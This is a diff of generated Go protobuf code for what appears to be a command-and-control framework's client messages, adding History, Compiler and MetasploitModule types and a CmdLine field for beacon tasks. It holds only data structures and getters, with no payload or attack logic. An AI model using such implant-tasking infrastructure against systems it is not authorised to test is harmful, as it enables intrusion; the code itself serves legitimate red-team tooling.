+ HistoryLen int32 `protobuf:"varint,2,opt,name=HistoryLen,proto3" json:"HistoryLen,omitempty"`
+ UserOnly bool `protobuf:"varint,3,opt,name=UserOnly,proto3" json:"UserOnly,omitempty"`
+ Commands []*ImplantCommand `protobuf:"bytes,4,rep,name=Commands,proto3" json:"Commands,omitempty"`
+ Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"`
+}
+
+func (x *History) Reset() {
+ *x = History{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_clientpb_client_proto_msgTypes[6]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *History) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*History) ProtoMessage() {}
+
+func (x *History) ProtoReflect() protoreflect.Message {
+ mi := &file_clientpb_client_proto_msgTypes[6]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use History.ProtoReflect.Descriptor instead.
+func (*History) Descriptor() ([]byte, []int) {
+ return file_clientpb_client_proto_rawDescGZIP(), []int{6}
+}
+
+func (x *History) GetHistoryLen() int32 {
+ if x != nil {
+ return x.HistoryLen
+ }
+ return 0
+}
+
+func (x *History) GetUserOnly() bool {
+ if x != nil {
+ return x.UserOnly
+ }
+ return false
+}
+
+func (x *History) GetCommands() []*ImplantCommand {
+ if x != nil {
+ return x.Commands
}
- return ""
+ return nil
}
-func (x *ClientLogData) GetData() []byte {
+func (x *History) GetResponse() *commonpb.Response {
if x != nil {
- return x.Data
+ return x.Response
}
return nil
}
@@ -1256,7 +1620,7 @@ type Session struct {
func (x *Session) Reset() {
*x = Session{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[2]
+ mi := &file_clientpb_client_proto_msgTypes[7]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -1269,7 +1633,7 @@ func (x *Session) String() string {
func (*Session) ProtoMessage() {}
func (x *Session) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[2]
+ mi := &file_clientpb_client_proto_msgTypes[7]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -1282,7 +1646,7 @@ func (x *Session) ProtoReflect() protoreflect.Message {
// Deprecated: Use Session.ProtoReflect.Descriptor instead.
func (*Session) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{2}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{7}
}
func (x *Session) GetID() string {
@@ -1498,7 +1862,7 @@ type Beacon struct {
func (x *Beacon) Reset() {
*x = Beacon{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[3]
+ mi := &file_clientpb_client_proto_msgTypes[8]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -1511,7 +1875,7 @@ func (x *Beacon) String() string {
func (*Beacon) ProtoMessage() {}
func (x *Beacon) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[3]
+ mi := &file_clientpb_client_proto_msgTypes[8]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -1524,7 +1888,7 @@ func (x *Beacon) ProtoReflect() protoreflect.Message {
// Deprecated: Use Beacon.ProtoReflect.Descriptor instead.
func (*Beacon) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{3}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{8}
}
func (x *Beacon) GetID() string {
@@ -1734,7 +2098,7 @@ type Beacons struct {
func (x *Beacons) Reset() {
*x = Beacons{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[4]
+ mi := &file_clientpb_client_proto_msgTypes[9]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -1747,7 +2111,7 @@ func (x *Beacons) String() string {
func (*Beacons) ProtoMessage() {}
func (x *Beacons) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[4]
+ mi := &file_clientpb_client_proto_msgTypes[9]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -1760,7 +2124,7 @@ func (x *Beacons) ProtoReflect() protoreflect.Message {
// Deprecated: Use Beacons.ProtoReflect.Descriptor instead.
func (*Beacons) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{4}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{9}
}
func (x *Beacons) GetBeacons() []*Beacon {
@@ -1775,21 +2139,22 @@ type BeaconTask struct {
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
- ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"`
- BeaconID string `protobuf:"bytes,2,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
- CreatedAt int64 `protobuf:"varint,3,opt,name=CreatedAt,proto3" json:"CreatedAt,omitempty"`
- State string `protobuf:"bytes,4,opt,name=State,proto3" json:"State,omitempty"`
- SentAt int64 `protobuf:"varint,5,opt,name=SentAt,proto3" json:"SentAt,omitempty"`
- CompletedAt int64 `protobuf:"varint,6,opt,name=CompletedAt,proto3" json:"CompletedAt,omitempty"`
- Request []byte `protobuf:"bytes,7,opt,name=Request,proto3" json:"Request,omitempty"`
- Response []byte `protobuf:"bytes,8,opt,name=Response,proto3" json:"Response,omitempty"`
- Description string `protobuf:"bytes,9,opt,name=Description,proto3" json:"Description,omitempty"`
+ ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"`
+ BeaconID string `protobuf:"bytes,2,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
+ CreatedAt int64 `protobuf:"varint,3,opt,name=CreatedAt,proto3" json:"CreatedAt,omitempty"`
+ State string `protobuf:"bytes,4,opt,name=State,proto3" json:"State,omitempty"`
+ SentAt int64 `protobuf:"varint,5,opt,name=SentAt,proto3" json:"SentAt,omitempty"`
+ CompletedAt int64 `protobuf:"varint,6,opt,name=CompletedAt,proto3" json:"CompletedAt,omitempty"`
+ Request []byte `protobuf:"bytes,7,opt,name=Request,proto3" json:"Request,omitempty"`
+ Response []byte `protobuf:"bytes,8,opt,name=Response,proto3" json:"Response,omitempty"`
+ Description string `protobuf:"bytes,9,opt,name=Description,proto3" json:"Description,omitempty"`
+ CmdLine []string `protobuf:"bytes,10,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
}
func (x *BeaconTask) Reset() {
*x = BeaconTask{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[5]
+ mi := &file_clientpb_client_proto_msgTypes[10]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -1802,7 +2167,7 @@ func (x *BeaconTask) String() string {
func (*BeaconTask) ProtoMessage() {}
func (x *BeaconTask) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[5]
+ mi := &file_clientpb_client_proto_msgTypes[10]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -1815,7 +2180,7 @@ func (x *BeaconTask) ProtoReflect() protoreflect.Message {
// Deprecated: Use BeaconTask.ProtoReflect.Descriptor instead.
func (*BeaconTask) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{5}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{10}
}
func (x *BeaconTask) GetID() string {
@@ -1881,6 +2246,13 @@ func (x *BeaconTask) GetDescription() string {
return ""
}
+func (x *BeaconTask) GetCmdLine() []string {
+ if x != nil {
+ return x.CmdLine
+ }
+ return nil
+}
+
type BeaconTasks struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -1893,7 +2265,7 @@ type BeaconTasks struct {
func (x *BeaconTasks) Reset() {
*x = BeaconTasks{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[6]
+ mi := &file_clientpb_client_proto_msgTypes[11]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -1906,7 +2278,7 @@ func (x *BeaconTasks) String() string {
func (*BeaconTasks) ProtoMessage() {}
func (x *BeaconTasks) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[6]
+ mi := &file_clientpb_client_proto_msgTypes[11]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -1919,7 +2291,7 @@ func (x *BeaconTasks) ProtoReflect() protoreflect.Message {
// Deprecated: Use BeaconTasks.ProtoReflect.Descriptor instead.
func (*BeaconTasks) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{6}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{11}
}
func (x *BeaconTasks) GetBeaconID() string {
@@ -1950,7 +2322,7 @@ type ImplantC2 struct {
func (x *ImplantC2) Reset() {
*x = ImplantC2{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[7]
+ mi := &file_clientpb_client_proto_msgTypes[12]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -1963,7 +2335,7 @@ func (x *ImplantC2) String() string {
func (*ImplantC2) ProtoMessage() {}
func (x *ImplantC2) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[7]
+ mi := &file_clientpb_client_proto_msgTypes[12]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -1976,7 +2348,7 @@ func (x *ImplantC2) ProtoReflect() protoreflect.Message {
// Deprecated: Use ImplantC2.ProtoReflect.Descriptor instead.
func (*ImplantC2) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{7}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{12}
}
func (x *ImplantC2) GetID() string {
@@ -2063,7 +2435,7 @@ type ImplantConfig struct {
func (x *ImplantConfig) Reset() {
*x = ImplantConfig{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[8]
+ mi := &file_clientpb_client_proto_msgTypes[13]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -2076,7 +2448,7 @@ func (x *ImplantConfig) String() string {
func (*ImplantConfig) ProtoMessage() {}
func (x *ImplantConfig) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[8]
+ mi := &file_clientpb_client_proto_msgTypes[13]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -2089,7 +2461,7 @@ func (x *ImplantConfig) ProtoReflect() protoreflect.Message {
// Deprecated: Use ImplantConfig.ProtoReflect.Descriptor instead.
func (*ImplantConfig) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{8}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{13}
}
func (x *ImplantConfig) GetID() string {
@@ -2421,7 +2793,7 @@ type TrafficEncoder struct {
func (x *TrafficEncoder) Reset() {
*x = TrafficEncoder{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[9]
+ mi := &file_clientpb_client_proto_msgTypes[14]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -2434,7 +2806,7 @@ func (x *TrafficEncoder) String() string {
func (*TrafficEncoder) ProtoMessage() {}
func (x *TrafficEncoder) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[9]
+ mi := &file_clientpb_client_proto_msgTypes[14]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -2447,7 +2819,7 @@ func (x *TrafficEncoder) ProtoReflect() protoreflect.Message {
// Deprecated: Use TrafficEncoder.ProtoReflect.Descriptor instead.
func (*TrafficEncoder) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{9}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{14}
}
func (x *TrafficEncoder) GetID() uint64 {
@@ -2490,7 +2862,7 @@ type TrafficEncoderMap struct {
func (x *TrafficEncoderMap) Reset() {
*x = TrafficEncoderMap{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[10]
+ mi := &file_clientpb_client_proto_msgTypes[15]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -2503,7 +2875,7 @@ func (x *TrafficEncoderMap) String() string {
func (*TrafficEncoderMap) ProtoMessage() {}
func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[10]
+ mi := &file_clientpb_client_proto_msgTypes[15]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -2516,7 +2888,7 @@ func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message {
// Deprecated: Use TrafficEncoderMap.ProtoReflect.Descriptor instead.
func (*TrafficEncoderMap) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{10}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{15}
}
func (x *TrafficEncoderMap) GetEncoders() map[string]*TrafficEncoder {
@@ -2542,7 +2914,7 @@ type TrafficEncoderTest struct {
func (x *TrafficEncoderTest) Reset() {
*x = TrafficEncoderTest{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[11]
+ mi := &file_clientpb_client_proto_msgTypes[16]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -2555,7 +2927,7 @@ func (x *TrafficEncoderTest) String() string {
func (*TrafficEncoderTest) ProtoMessage() {}
func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[11]
+ mi := &file_clientpb_client_proto_msgTypes[16]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -2568,7 +2940,7 @@ func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message {
// Deprecated: Use TrafficEncoderTest.ProtoReflect.Descriptor instead.
func (*TrafficEncoderTest) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{11}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{16}
}
func (x *TrafficEncoderTest) GetName() string {
@@ -2627,7 +2999,7 @@ type TrafficEncoderTests struct {
func (x *TrafficEncoderTests) Reset() {
*x = TrafficEncoderTests{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[12]
+ mi := &file_clientpb_client_proto_msgTypes[17]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -2640,7 +3012,7 @@ func (x *TrafficEncoderTests) String() string {
func (*TrafficEncoderTests) ProtoMessage() {}
func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[12]
+ mi := &file_clientpb_client_proto_msgTypes[17]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -2653,7 +3025,7 @@ func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message {
// Deprecated: Use TrafficEncoderTests.ProtoReflect.Descriptor instead.
func (*TrafficEncoderTests) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{12}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{17}
}
func (x *TrafficEncoderTests) GetEncoder() *TrafficEncoder {
@@ -2697,7 +3069,7 @@ type ExternalImplantConfig struct {
func (x *ExternalImplantConfig) Reset() {
*x = ExternalImplantConfig{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[13]
+ mi := &file_clientpb_client_proto_msgTypes[18]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -2710,7 +3082,7 @@ func (x *ExternalImplantConfig) String() string {
func (*ExternalImplantConfig) ProtoMessage() {}
func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[13]
+ mi := &file_clientpb_client_proto_msgTypes[18]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -2723,7 +3095,7 @@ func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message {
// Deprecated: Use ExternalImplantConfig.ProtoReflect.Descriptor instead.
func (*ExternalImplantConfig) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{13}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{18}
}
func (x *ExternalImplantConfig) GetConfig() *ImplantConfig {
@@ -2760,7 +3132,7 @@ type ExternalImplantBinary struct {
func (x *ExternalImplantBinary) Reset() {
*x = ExternalImplantBinary{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[14]
+ mi := &file_clientpb_client_proto_msgTypes[19]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -2773,7 +3145,7 @@ func (x *ExternalImplantBinary) String() string {
func (*ExternalImplantBinary) ProtoMessage() {}
func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[14]
+ mi := &file_clientpb_client_proto_msgTypes[19]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -2786,7 +3158,7 @@ func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message {
// Deprecated: Use ExternalImplantBinary.ProtoReflect.Descriptor instead.
func (*ExternalImplantBinary) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{14}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{19}
}
func (x *ExternalImplantBinary) GetName() string {
@@ -2824,7 +3196,7 @@ type ImplantBuilds struct {
func (x *ImplantBuilds) Reset() {
*x = ImplantBuilds{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[15]
+ mi := &file_clientpb_client_proto_msgTypes[20]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -2837,7 +3209,7 @@ func (x *ImplantBuilds) String() string {
func (*ImplantBuilds) ProtoMessage() {}
func (x *ImplantBuilds) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[15]
+ mi := &file_clientpb_client_proto_msgTypes[20]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -2850,7 +3222,7 @@ func (x *ImplantBuilds) ProtoReflect() protoreflect.Message {
// Deprecated: Use ImplantBuilds.ProtoReflect.Descriptor instead.
func (*ImplantBuilds) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{15}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{20}
}
func (x *ImplantBuilds) GetConfigs() map[string]*ImplantConfig {
@@ -2885,7 +3257,7 @@ type ImplantStageReq struct {
func (x *ImplantStageReq) Reset() {
*x = ImplantStageReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[16]
+ mi := &file_clientpb_client_proto_msgTypes[21]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -2898,7 +3270,7 @@ func (x *ImplantStageReq) String() string {
func (*ImplantStageReq) ProtoMessage() {}
func (x *ImplantStageReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[16]
+ mi := &file_clientpb_client_proto_msgTypes[21]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -2911,7 +3283,7 @@ func (x *ImplantStageReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use ImplantStageReq.ProtoReflect.Descriptor instead.
func (*ImplantStageReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{16}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{21}
}
func (x *ImplantStageReq) GetBuild() []string {
@@ -2951,7 +3323,7 @@ type ImplantBuild struct {
func (x *ImplantBuild) Reset() {
*x = ImplantBuild{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[17]
+ mi := &file_clientpb_client_proto_msgTypes[22]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -2964,7 +3336,7 @@ func (x *ImplantBuild) String() string {
func (*ImplantBuild) ProtoMessage() {}
func (x *ImplantBuild) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[17]
+ mi := &file_clientpb_client_proto_msgTypes[22]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -2977,7 +3349,7 @@ func (x *ImplantBuild) ProtoReflect() protoreflect.Message {
// Deprecated: Use ImplantBuild.ProtoReflect.Descriptor instead.
func (*ImplantBuild) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{17}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{22}
}
func (x *ImplantBuild) GetID() string {
@@ -3133,7 +3505,7 @@ type CompilerTarget struct {
func (x *CompilerTarget) Reset() {
*x = CompilerTarget{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[18]
+ mi := &file_clientpb_client_proto_msgTypes[23]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3146,7 +3518,7 @@ func (x *CompilerTarget) String() string {
func (*CompilerTarget) ProtoMessage() {}
func (x *CompilerTarget) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[18]
+ mi := &file_clientpb_client_proto_msgTypes[23]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3159,7 +3531,7 @@ func (x *CompilerTarget) ProtoReflect() protoreflect.Message {
// Deprecated: Use CompilerTarget.ProtoReflect.Descriptor instead.
func (*CompilerTarget) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{18}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{23}
}
func (x *CompilerTarget) GetGOOS() string {
@@ -3197,7 +3569,7 @@ type CrossCompiler struct {
func (x *CrossCompiler) Reset() {
*x = CrossCompiler{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[19]
+ mi := &file_clientpb_client_proto_msgTypes[24]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -3210,7 +3582,7 @@ func (x *CrossCompiler) String() string {
func (*CrossCompiler) ProtoMessage() {}
func (x *CrossCompiler) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[19]
+ mi := &file_clientpb_client_proto_msgTypes[24]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -3223,66 +3595,216 @@ func (x *CrossCompiler) ProtoReflect() protoreflect.Message {
// Deprecated: Use CrossCompiler.ProtoReflect.Descriptor instead.
func (*CrossCompiler) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{19}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{24}
+}
+
+func (x *CrossCompiler) GetTargetGOOS() string {
+ if x != nil {
+ return x.TargetGOOS
+ }
+ return ""
+}
+
+func (x *CrossCompiler) GetTargetGOARCH() string {
+ if x != nil {
+ return x.TargetGOARCH
+ }
+ return ""
+}
+
+func (x *CrossCompiler) GetCCPath() string {
+ if x != nil {
+ return x.CCPath
+ }
+ return ""
+}
+
+func (x *CrossCompiler) GetCXXPath() string {
+ if x != nil {
+ return x.CXXPath
+ }
+ return ""
+}
+
+type Compiler struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"` // The server's OS
+ GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"` // The server's Arch
+ Targets []*CompilerTarget `protobuf:"bytes,3,rep,name=Targets,proto3" json:"Targets,omitempty"`
+ CrossCompilers []*CrossCompiler `protobuf:"bytes,4,rep,name=CrossCompilers,proto3" json:"CrossCompilers,omitempty"`
+ UnsupportedTargets []*CompilerTarget `protobuf:"bytes,5,rep,name=UnsupportedTargets,proto3" json:"UnsupportedTargets,omitempty"`
+}
+
+func (x *Compiler) Reset() {
+ *x = Compiler{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_clientpb_client_proto_msgTypes[25]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *Compiler) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Compiler) ProtoMessage() {}
+
+func (x *Compiler) ProtoReflect() protoreflect.Message {
+ mi := &file_clientpb_client_proto_msgTypes[25]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use Compiler.ProtoReflect.Descriptor instead.
+func (*Compiler) Descriptor() ([]byte, []int) {
+ return file_clientpb_client_proto_rawDescGZIP(), []int{25}
+}
+
+func (x *Compiler) GetGOOS() string {
+ if x != nil {
+ return x.GOOS
+ }
+ return ""
+}
+
+func (x *Compiler) GetGOARCH() string {
+ if x != nil {
+ return x.GOARCH
+ }
+ return ""
+}
+
+func (x *Compiler) GetTargets() []*CompilerTarget {
+ if x != nil {
+ return x.Targets
+ }
+ return nil
+}
+
+func (x *Compiler) GetCrossCompilers() []*CrossCompiler {
+ if x != nil {
+ return x.CrossCompilers
+ }
+ return nil
+}
+
+func (x *Compiler) GetUnsupportedTargets() []*CompilerTarget {
+ if x != nil {
+ return x.UnsupportedTargets
+ }
+ return nil
+}
+
+type MetasploitModule struct {
+ state protoimpl.MessageState
+ sizeCache protoimpl.SizeCache
+ unknownFields protoimpl.UnknownFields
+
+ Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
+ FullName string `protobuf:"bytes,2,opt,name=FullName,proto3" json:"FullName,omitempty"`
+ Description string `protobuf:"bytes,3,opt,name=Description,proto3" json:"Description,omitempty"`
+ Quality string `protobuf:"bytes,4,opt,name=Quality,proto3" json:"Quality,omitempty"`
+}
+
+func (x *MetasploitModule) Reset() {
+ *x = MetasploitModule{}
+ if protoimpl.UnsafeEnabled {
+ mi := &file_clientpb_client_proto_msgTypes[26]
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ ms.StoreMessageInfo(mi)
+ }
+}
+
+func (x *MetasploitModule) String() string {
+ return protoimpl.X.MessageStringOf(x)
+}
+
+func (*MetasploitModule) ProtoMessage() {}
+
+func (x *MetasploitModule) ProtoReflect() protoreflect.Message {
+ mi := &file_clientpb_client_proto_msgTypes[26]
+ if protoimpl.UnsafeEnabled && x != nil {
+ ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+ if ms.LoadMessageInfo() == nil {
+ ms.StoreMessageInfo(mi)
+ }
+ return ms
+ }
+ return mi.MessageOf(x)
+}
+
+// Deprecated: Use MetasploitModule.ProtoReflect.Descriptor instead.
+func (*MetasploitModule) Descriptor() ([]byte, []int) {
+ return file_clientpb_client_proto_rawDescGZIP(), []int{26}
}
-func (x *CrossCompiler) GetTargetGOOS() string {
+func (x *MetasploitModule) GetName() string {
if x != nil {
- return x.TargetGOOS
+ return x.Name
}
return ""
}
